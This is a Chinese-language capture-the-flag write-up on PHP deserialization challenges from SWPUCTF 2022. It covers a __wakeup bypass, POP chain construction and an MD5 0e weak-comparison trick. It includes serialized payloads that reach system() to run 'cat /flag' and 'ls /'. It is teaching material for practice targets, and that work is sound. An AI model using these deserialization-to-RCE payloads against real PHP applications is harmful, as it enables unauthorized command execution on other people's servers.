[SWPUCTF 2022 新生赛]ez_1zpop(php反序列化之pop链构造)

[SWPUCTF 2022 新生赛]ez_ez_unserialize

<?php
class X
{public $x = __FILE__;function __construct($x){$this->x = $x;  }function __wakeup(){if ($this->x !== __FILE__) {$this->x = __FILE__; }}function __destruct(){highlight_file($this->x);//flag is in fllllllag.php    flag在fllllllag.php文件里}
}
if (isset($_REQUEST['x'])) {        @unserialize($_REQUEST['x']);    //将x反序列化输出
} else {highlight_file(__FILE__);
}

因为flag在fllllllag.php文件里,所以要让fllllllag.php文件在x中,让x等于这个文件的序列化

对x进行序列化操作:

<?php
class X
{public $x ='fllllllag.php'; 	
}
$a=new X();
echo serialize($a);
?>//输出:O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

绕过__wakeup()函数,构造payload:        得到flag

?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

__wakeup()函数漏洞原理:

当序列化字符串表示对象属性个数的值 大于 真实个数的属性时就会跳过__wakeup的执行

 [SWPUCTF 2022 新生赛]1z_unserialize

<?php//包含了一个名为lyh的类,该类有公共属性:url、lt和lly 
class lyh{            public $url = 'NSSCTF.com';public $lt;public $lly;function  __destruct()       //魔术方法__destruct(),在对象被销毁时调用{$a = $this->lt;          //尝试执行一个由$this->lt引用的函数,并将$this->lly作为参数传递给该函数。    $a($this->lly);           }}
unserialize($_POST['nss']);       //从POST请求中的nss参数读取序列化的数据,并进行反序列化操作
highlight_file(__FILE__);?>

赋值执行RCE:

直接将 $a 赋值为 system ,即将 $this->lt 赋值为 system ,那么 $this->lly 就可以赋值任意命令执行RCE。

将$this->lly赋值成ls /查看根目录,POST传参nss发现存在flag文件。

将$this->lly赋值成cat /flag读取flag。

<?php
class lyh
{public $url = 'NSSCTF.com';public $lt="system";public $lly="cat /flag";}
$a=new lyh();
echo serialize($a);
?>//输出:O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

php反序列化之pop链构造

做pop类题目要紧盯魔术方法。

需要找到普通类与魔术方法之间的联系,理出一种逻辑思路,通过这种逻辑思路来构造一条pop链,从而达到攻击的目的。

在构造调用链时,先找到调用链的头和尾。头一般都是能传参以及可以反序列化的地方,而尾部一般都是可以执行恶意代码的地方。

[SWPUCTF 2022 新生赛]ez_1zpop

代码审计

<?php
error_reporting(0);
class dxg                      //定义类dxg,其中只有一个方法fmm()
{function fmm()             {return "nonono";}
}class lt                        //定义类lt,包含公共属性impo、md51、md52
{public $impo='hi';public $md51='weclome';public $md52='to NSS';function __construct()       //__construct()类的构造函数,创建对象时触发 {$this->impo = new dxg;    //实例化了dxg类的对象并赋值给impo属性}function __wakeup()          //__wakeup()方法在反序列化对象时被调用{$this->impo = new dxg;    //也实例化了dxg类的对象,并返回fmm()方法的结果return $this->impo->fmm();}function __toString()        //__toString()把对象当成字符串调用时触发{if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)return $this->impo->fmm(); //返回impo属性的fmm()方法的结果}function __destruct()        //__destruct()方法在对象销毁前被调用,它会调用__toString()方法并输出结果。 {echo $this;}
}class fin                        //定义类fin,包含公共属性a和一个方法fmm()
{public $a;public $url = 'https://www.ctfer.vip';public $title;function fmm(){$b = $this->a;            //fmm()方法调用了属性a所指向的函数,并将属性title作为参数传递。$b($this->title);  }
}if (isset($_GET['NSS'])) {     //检查是否存在$_GET['NSS']参数,存在,对NSS进行反序列化$Data = unserialize($_GET['NSS']);
} else {highlight_file(__file__);
}

如果$this->impo 已设置,并且 $this->md51 = $this->md52 的 MD5 哈希值,同时 $this->md51 和 $this->md52 值不相等。就会调用 $this->impo->fmm() 方法。

function __toString(){if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)return $this->impo->fmm();}

0e绕过MD5弱比较:

令md51='s155964671a';        md52='s214587387a';

构造pop链:先把用到的类写出来,形成一个框架,然后补充类中的变量,再将用到的类进行实例化。

<?php
class lt
{#设置 $this->md51 = $this->md52 的 MD5 哈希值public $impo='hi';public $md51='s155964671a';public $md52='s214587387a';
}
class fin
{#赋值执行RCE:$a="system",$title="cat /flag"public $a='system';public $url = 'https://www.ctfer.vip';public $title='cat /flag';
}
#实例化类
$lt = new lt();
$fin = new fin();
#链子
$lt->impo=$fin;
echo serialize($lt);
?>//输出:O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}

得到输出后,记得绕过wakeup(),GTE传参NSS构造payload:                得到flag

?NSS=O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/348521.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一文讲清:生产报工系统的功能、报价以及如何选择

最近这几年&#xff0c;企业越来越注重生产的速度和成本&#xff0c;尤其是“性价比”&#xff0c;生产报工系统已经变成了制造业里不可或缺的一部分。不过&#xff0c;市场上生产报工系统的选择太多&#xff0c;价格也都不一样&#xff0c;这就给很多企业出了个难题&#xff1…

使用QT绘制简单的动态数据折线图

两个核心类时QChart和QLineSeries 下面这个示例代码中&#xff0c;定时器每隔一段时间将曲线图中的数据点向右移动 一个单位&#xff0c;同时调整横坐标轴的范围&#xff0c;实现了一次滚动对应移动一个数据点的效果。 QLineSeries最多容纳40961024个点 #include <QtWidg…

《人人都是产品经理》笔记1:什么是产品?怎么入行?

《人人都是产品经理》笔记1&#xff1a;什么是产品&#xff1f;怎么入行&#xff1f; 产品是什么&#xff1f;产品经理、产品管理&#xff1f;真的想做产品经理吗&#xff1f;全书结构示意图 从写这篇文章开始&#xff0c;是个人第二次对该书进行阅读&#xff0c;在此进行个人的…

Codeforces Global Round 26 E. Shuffle 【换根DP】

E. Shuffle 题意 给定一颗 n n n 个节点的树 T T T&#xff0c;现在要求恰好执行下面的程序操作一次&#xff1a; 从 T T T 中选择一个点&#xff0c;作为 T 2 T_2 T2​ 的新根节点将这个点从 T T T 中删除&#xff0c;现在 T T T 被分成了一个或一个以上的连通块树对每…

Python邮箱发送如何设置?Python发信方法?

Python邮箱发送邮件需要哪些库&#xff1f;怎么使用Python发信&#xff1f; Python的强大之处在于其丰富的库和模块&#xff0c;使得开发者可以轻松地实现各种功能&#xff0c;包括通过电子邮件发送信息。AokSend将介绍如何在Python中设置和发送电子邮件&#xff0c;以及相关的…

将bookmarks文件导入到edge浏览器

前情&#xff1a; 我的旧电脑上的浏览器保留很多书签&#xff0c;准备导入到新电脑上&#xff0c;于是将bookmarks文件拷贝了出来 方法&#xff1a; 网上的解决方案是将bookmarks文件后缀修改为.html&#xff0c;然后通过浏览器导入&#xff0c;但是尝试后并未成功 如图所示…

18. 四数之和 - 力扣

1. 题目 给你一个由 n 个整数组成的数组 nums &#xff0c;和一个目标值 target 。请你找出并返回满足下述全部条件且不重复的四元组 [nums[a], nums[b], nums[c], nums[d]] &#xff08;若两个四元组元素一一对应&#xff0c;则认为两个四元组重复&#xff09;&#xff1a; 0 …

免费数据库同步软件

在信息化日益发展的今天&#xff0c;数据同步成为了企业和个人用户不可或缺的一部分。数据库同步软件作为数据同步的重要工具&#xff0c;能够帮助我们实现不同数据库系统之间的数据复制和同步&#xff0c;确保数据的一致性和完整性。本文将介绍几款免费数据库同步软件&#xf…

用“引用“作形参,实现两个变量的值互换

解题思路&#xff1a; 以引用作为形参&#xff0c;在虚实结合时建立变量的引用&#xff0c;使形参名作为实参的"引用"&#xff0c;即形参成为实参的引用。 编写程序&#xff1a; 运行结果&#xff1a; 程序分析&#xff1a; 在定义swap函数声明形参时&#…

有一个主域名跟多个二级子域名时该怎么申请SSL证书?

当您拥有主域名以及多个子域名时&#xff0c;选择合适的SSL证书类型对于确保网站的安全性至关重要。以下是三种SSL证书类型的简要介绍&#xff1a; 单域名SSL证书&#xff1a; 功能&#xff1a;只能绑定单个域名&#xff0c;无论是主域名还是子域名。 适用场景&#xff1a;仅…

(3)图像识别yolov5—训练自定义模型

目录 1. 准备数据集 (1) 收集图像: (2) LabelImg标注图像: 2. 模型训练 3. 评估模型 4. 使用模型进行推理 5. 完整文件下载 YOLOv5 是一个用于目标检测的深度学习模型,它非常流行且易于使用。如果你想使用 YOLOv5 训练自定义的模型,以下是一个基本的步骤指南…

狒狒吃香蕉(二分查找)

狒狒吃香蕉&#xff08;二分查找&#xff09; 这个问题可以形式化为一个搜索问题&#xff0c;在可能的速度范围[1, max]内寻找一个合适的速度K&#xff0c;其中max是香蕉堆中最大一堆的香蕉数量。 我们知道&#xff0c;如果狒狒的速度太慢&#xff0c;她将无法在警卫回来之前吃…

[项目推荐]EmoLLM-心理健康大模型

EmoLLM 是一系列能够支持理解用户-支持用户-帮助用户心理健康辅导链路的开源心理健康大模型&#xff0c;由LLM指令微调而来。它旨在全面理解和促进个体、群体乃至整个社会的心理健康状态。 项目介绍 GitHub&#xff1a;https://github.com/SmartFlowAI/EmoLLM 【EmoLLM项目提供…

Linux---sudo命令

文章目录 目录 文章目录 一.sudo命令简介 二.sudo 命令的特点 三.sudo 相关文件 四.sudo 命令授权配置 一.sudo命令简介 sudo 命令全称“SuperUser Do”&#xff0c;是Linux系统中的一个命令能够使普通用户以超级用户身份去执行某些命令。 二.sudo 命令的特点 sudo能够授权…

论文阅读:All-In-One Image Restoration for Unknown Corruption

发表时间&#xff1a;2022 cvpr 论文地址&#xff1a;https://openaccess.thecvf.com/content/CVPR2022/papers/Li_All-in-One_Image_Restoration_for_Unknown_Corruption_CVPR_2022_paper.pdf 项目地址&#xff1a;https://github.com/XLearning-SCU/2022-CVPR-AirNet 代码解读…

诊所管理系统免费软件哪个好一点?

不少诊所管理者&#xff0c;想要寻找一款适合自己诊所的免费诊所管理系统。市场上有多个选择&#xff0c;那么&#xff0c;哪个会好一点呢?在选择适合自己诊所的免费诊所管理系统时&#xff0c;考虑系统的易用性、功能全面性、技术支持以及未来可扩展性是非常重要的。下面&…

在AMD GPU上加速大型语言模型的Flash Attention

Accelerating Large Language Models with Flash Attention on AMD GPUs — ROCm Blogs 引言 在这篇博客文章中&#xff0c;我们将指导您如何在AMD GPU上安装Flash Attention&#xff0c;并提供与在PyTorch中标准SDPA比较其性能的基准测试。我们还将测量Hugging Face中多个大型…

win11联想版,如何下载Visual Basic 6.0精简版

一、背景 Visual Basic 6.0精简版、Visual Basic Mini&#xff0c;等 Win11系统&#xff0c;网上找压缩包下载&#xff0c;无法成功。 二、解决 通过下载联想应用商店&#xff0c;在应用商店中下载 步骤一 hi&#xff0c;推荐你使用联想应用商店&#xff0c;商店提供上万款…

积累和消耗,人生本质的两件事

人生的本质其实就两件事&#xff0c;消耗和积累。 纵观你身边所有的人&#xff0c;他们做的所有的事&#xff0c;基本都可以分为两类。 一、积累 二、消耗 比如说感情&#xff0c;在我们每一个人的青春回忆里&#xff0c;都或多或少有一段刻骨铭心的感情&#xff0c;有些人的感…

sklearn深度学习指南:掌握机器学习的利器

sklearn深度学习指南&#xff1a;掌握机器学习的利器&#xff01; 1. 简介1.1 什么是sklearn&#xff1f;1.2 sklearn的优势和应用领域1.3 为什么要学习和使用sklearn&#xff1f; 2. 安装和环境设置2.1 如何安装sklearn&#xff1f;安装Anaconda&#xff08;Windows/macOS/Lin…